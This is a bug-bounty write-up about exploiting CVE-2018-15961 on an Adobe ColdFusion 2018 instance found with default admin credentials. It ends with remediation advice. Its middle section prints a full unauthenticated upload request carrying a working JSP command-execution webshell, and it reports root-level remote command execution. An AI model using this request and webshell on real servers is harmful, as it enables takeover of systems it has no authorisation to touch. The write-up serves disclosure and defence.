Amateur of bounty bugs and web application security for a few months already, I fell during my recognition phase on an exotic sub-domain, containing an Adobe ColdFusion instance. And why not play with it !
Default credential
The administrator account still had its default credentials. This allowed me to log in with a privileged user and go through the application.
We are on Adobe ColdFusion version 2018.0.0.310739.
I tried to interact directly on the system via the web interface (command execution, file upload) but I couldn’t find it. Via the task scheduler, I was able to execute a remote HTTP request but again I found nothing convincing (reverse shell..).
CVE-2018-15961
CVE
While surfing the net, I came across the CVE-2018-15961. If I can upload a malicious file, then I can bounce on a webshell !
This exploit is possible by forging a specific POST request, linked to an obvious lack of rights and access control on the part of Adobe ColdFusion. There is no need to be authenticated for this.
Vulnerability exploitation
We are looking on exploit-db : https://www.exploit-db.com/exploits/45979
The content of the request :
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1 Host: target.com:port User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36 Content-Type: multipart/form-data; boundary=---------------------------24464570528145 Content-Length: 303 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------24464570528145 Content-Disposition: form-data; name="file"; filename="shell_file" Content-Type: image/jpeg %shell code here% -----------------------------24464570528145 Content-Disposition: form-data; name="path" shell -----------------------------24464570528145--
After several tries, ok I can upload a malicious file with the content I want. Let’s try with webshell!
Webshell
Adobe ColdFusion being on a Java environment, it is necessary to have an appropriate webshell (JSP). Here again, thanks to the search engines, I find this webshell : https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/jsp/cmd.jsp
Let’s mix this webshell with our malicious request :
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1 Host: target:port User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0 Content-Type: multipart/form-data;boundary=---------------------------24464570528145 Content-Length: 1147 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------24464570528145 Content-Disposition: form-data; name="file"; filename="webshell.jsp" Content-Type: image/jpeg <%@ page import="java.util.*,java.io.*"%> <% // // JSP_KIT // // cmd.jsp = Command Execution (unix) // // by: Unknown // modified: 27/06/2003 // %> <HTML><BODY> <FORM METHOD="GET" NAME="myform" ACTION=""> <INPUT TYPE="text" NAME="cmd"> <INPUT TYPE="submit" VALUE="Send"> </FORM> <pre> <% if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "<BR>"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> </pre> </BODY></HTML> -----------------------------24464570528145 Content-Disposition: form-data; name="path" shell -----------------------------24464570528145--
The request can be generated with a web proxy like Burp Suite for example :
Server response: HTTP 200 ok.
Smells good !
Confirmation
The access to my webshell is ok, directly from the URL : http://target.com:port/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/webshell.jsp
WTF, the application runs with root privileges !! I’ll let you imagine now it was in the wrong hands…
To finish
I got the grail: a RCE (Remote Command Execution) using a CVE and a poc publicly available on the web. With root accesses, a malicious person won’t be able to be stopped and the damage caused to the company will be huge.
The corrections to be applied :
- Of course, change the default login/password when deploying a new application.
- Update and patch ASAP applications when a patch is released, especially for vulnerabilities of this magnitude.
- Run the application with a UNIX user with restricted rights and privileges, limiting the attack surface if a vulnerability is present.